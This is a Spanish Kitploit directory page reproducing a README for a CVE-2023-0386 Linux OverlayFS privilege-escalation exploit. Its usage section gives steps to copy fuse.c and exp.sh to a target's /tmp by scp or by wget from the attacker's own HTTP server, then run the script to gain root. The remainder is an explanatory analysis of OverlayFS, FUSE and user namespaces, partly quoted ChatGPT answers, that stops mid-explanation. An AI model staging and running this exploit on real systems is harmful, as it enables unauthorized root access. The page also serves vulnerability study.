Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-0386 — Muy simple exp y análisis de CVE-2023-0386. Usa c y sh. | Kitploit
Herramientas/GitHubGitHub/fanxiaoyao66/cve-2023-0386
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónEscape de ContenedoresExplotación de Binarios
GitHubfanxiaoyao66/cve-2023-0386

CVE-2023-0386

Muy simple exp y análisis de CVE-2023-0386. Usa c y sh.

Ver Repositorio
22422hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

typora-copy-images-to: ./image

CVE-2023-0386

Uso del exploit:

Primero: Subir fuse.c y exp.sh al directorio /tmp.

  • Puedes usar scp o python3 -m http.server para subir el archivo al objetivo.

    scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp 
    scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp #tu máquina
    

    o

    cd ~/Desktop/CVE-2023-0386
    python3 -m http.server #tu máquina
    
    wget tu_ip:8000/exp.sh
    wget tu_ip:8000/fuse.c #objetivo
    

Y luego:

cd /tmp
/bin/bash exp.sh

Ahora, ¡eres root!

image-20230628154304898

A continuación se presenta un análisis detallado de CVE-2023-0386.


Ayer estuve estudiando esta vulnerabilidad todo el día. En pocas palabras, cuando OverlayFS copia un archivo de la capa inferior a la capa superior, no verifica si el usuario del espacio de nombres del archivo inferior está mapeado al espacio de nombres del usuario actual, lo que permite configurar el bit SUID para escalar privilegios.

Esto suena muy abstracto. Para entenderlo, primero necesitamos conocer algunos puntos:

  • ¿Qué es OverlayFS?
  • ¿Qué es FUSE?
  • ¿Qué es un espacio de nombres de usuario?
  • ¿Por qué ocurre la escalada de privilegios?

¿Qué es OverlayFS?

ChatGPT: Explica detalladamente OverlayFS en Linux

OverlayFS, también conocido como sistema de archivos superpuesto, es un sistema de archivos conjunto en el kernel de Linux que puede superponer múltiples sistemas de archivos diferentes en uno solo, formando una vista unificada. Fue oficialmente aceptado en el kernel a partir de la versión 3.18.

OverlayFS tiene tres componentes principales: el sistema de archivos inferior, el sistema de archivos superior y el sistema de archivos fusionado. Las funciones de cada uno son:

  1. Sistema de archivos inferior (lower filesystem): Es la capa base, normalmente de solo lectura. Todos los archivos y directorios se obtienen inicialmente de esta capa.

  2. Sistema de archivos superior (upper filesystem): Es la capa superior, normalmente de lectura/escritura. Cuando realizamos operaciones de escritura en el sistema de archivos, todos los cambios se guardan en esta capa. Si un archivo existe en el sistema inferior pero queremos modificarlo, se crea una copia de ese archivo en el sistema superior y luego se modifica. Este proceso se llama "copy-up".

  3. Sistema de archivos fusionado (merged filesystem): Es la vista final de OverlayFS, que combina los sistemas inferior y superior. Cuando realizamos una operación de lectura, OverlayFS primero busca el archivo en el sistema superior; si no lo encuentra, lo busca en el sistema inferior.

La vista lógica de esta estructura es la siguiente:

     ________________
    |                |
    |  Vista unificada|
    |________________|
       /          \
____________    ____________
|          |    |          |
|  Inferior |    |  Superior|
| (solo lectura)| | (lectura/escritura)|
|____________|  |____________|

Una aplicación importante de OverlayFS es en aplicaciones de contenedores, especialmente en Docker. En Docker, cada capa de imagen es de solo lectura y se puede utilizar como sistema de archivos inferior para otros contenedores. Cuando iniciamos un nuevo contenedor, Docker crea un nuevo sistema de archivos superior vacío para él. De esta forma, todos los cambios en el contenedor (como instalar nuevo software) solo afectan al sistema superior, sin afectar a las capas de imagen compartidas.

Además, dado que OverlayFS permite montar múltiples sistemas de archivos inferiores debajo de una capa superior, también podemos crear sistemas de archivos con múltiples niveles, lo que se utiliza ampliamente en las capas de imagen de Docker.


En resumen, la capa inferior es de solo lectura, la capa superior es de lectura/escritura, y la capa fusionada combina ambas para mostrar una vista unificada. Cuando modificamos un archivo que existe en la capa inferior pero no en la superior, se copia exactamente el archivo de la capa inferior a la superior para poder modificarlo. Este es el punto donde se desencadena la vulnerabilidad.

¿Qué es FUSE?

GPT: Eres un experto en el kernel de Linux. Ahora, por favor, explica detalladamente qué es FUSE.

FUSE (Filesystem in Userspace) es un mecanismo para crear sistemas de archivos en el espacio de usuario. Es una interfaz proporcionada por el kernel de Linux que permite a los usuarios desarrollar y ejecutar sus propios sistemas de archivos sin modificar el código del kernel.

El objetivo principal de FUSE es simplificar el desarrollo y uso de nuevos sistemas de archivos. Con FUSE, puedes crear sistemas de archivos personalizados sin necesidad de conocer muchos detalles de las API del kernel. Esto es muy útil para depuración, prototipado rápido, investigación académica, implementación de sistemas de archivos muy especializados (como sistemas de archivos con cifrado transparente, sistemas de archivos de red, etc.), etcétera.

En FUSE, la mayor parte de la lógica del sistema de archivos se ejecuta en el espacio de usuario. Esto facilita el desarrollo porque el espacio de usuario ofrece un entorno de desarrollo más amigable: puedes usar cualquier lenguaje de programación que prefieras, tienes más bibliotecas disponibles, el manejo de errores es más sencillo, etc. Por otro lado, esto también significa que los sistemas de archivos FUSE suelen ser más lentos que los del espacio del kernel, ya que requieren cambios de contexto frecuentes entre el espacio de usuario y el espacio del kernel.

Un sistema de archivos FUSE generalmente consta de dos partes:

  1. Un demonio en el espacio de usuario que implementa la lógica real del sistema de archivos.
  2. El módulo FUSE en el espacio del kernel, que maneja todas las operaciones del sistema de archivos, las reenvía al demonio en el espacio de usuario y devuelve el resultado al llamante.

Al desarrollar un sistema de archivos FUSE, debes implementar una serie de funciones de devolución de llamada que corresponden a diversas operaciones del sistema de archivos, como abrir archivos, leer archivos, escribir archivos, etc. Cuando ocurren estas operaciones, el módulo FUSE del kernel llama a las funciones de devolución de llamada correspondientes y devuelve el resultado al llamante.

En resumen, FUSE proporciona un marco potente para implementar sistemas de archivos en el espacio de usuario, simplifica el desarrollo de sistemas de archivos y permite que estos se extiendan y modifiquen de manera modular.


En realidad, FUSE permite al usuario definir un sistema de archivos personalizado y los archivos que contiene.

Necesitamos escribir código C relacionado con FUSE.

¿Qué es un espacio de nombres de usuario?

Eres un experto en el kernel de Linux. ¿Qué es un espacio de nombres de usuario?

En Linux, un "espacio de nombres" es una característica del kernel que se utiliza para aislar la vista que tiene un proceso de los recursos, de modo que un proceso solo vea los recursos que pertenecen a su mismo espacio de nombres. Cada tipo de espacio de nombres corresponde a un tipo específico de recurso. Por ejemplo, el espacio de nombres de PID (Process ID) se utiliza para aislar los IDs de proceso; el espacio de nombres de red se utiliza para aislar interfaces de red y pilas de red; el espacio de nombres de montaje se utiliza para aislar puntos de montaje del sistema de archivos, etc.

Descargar herramienta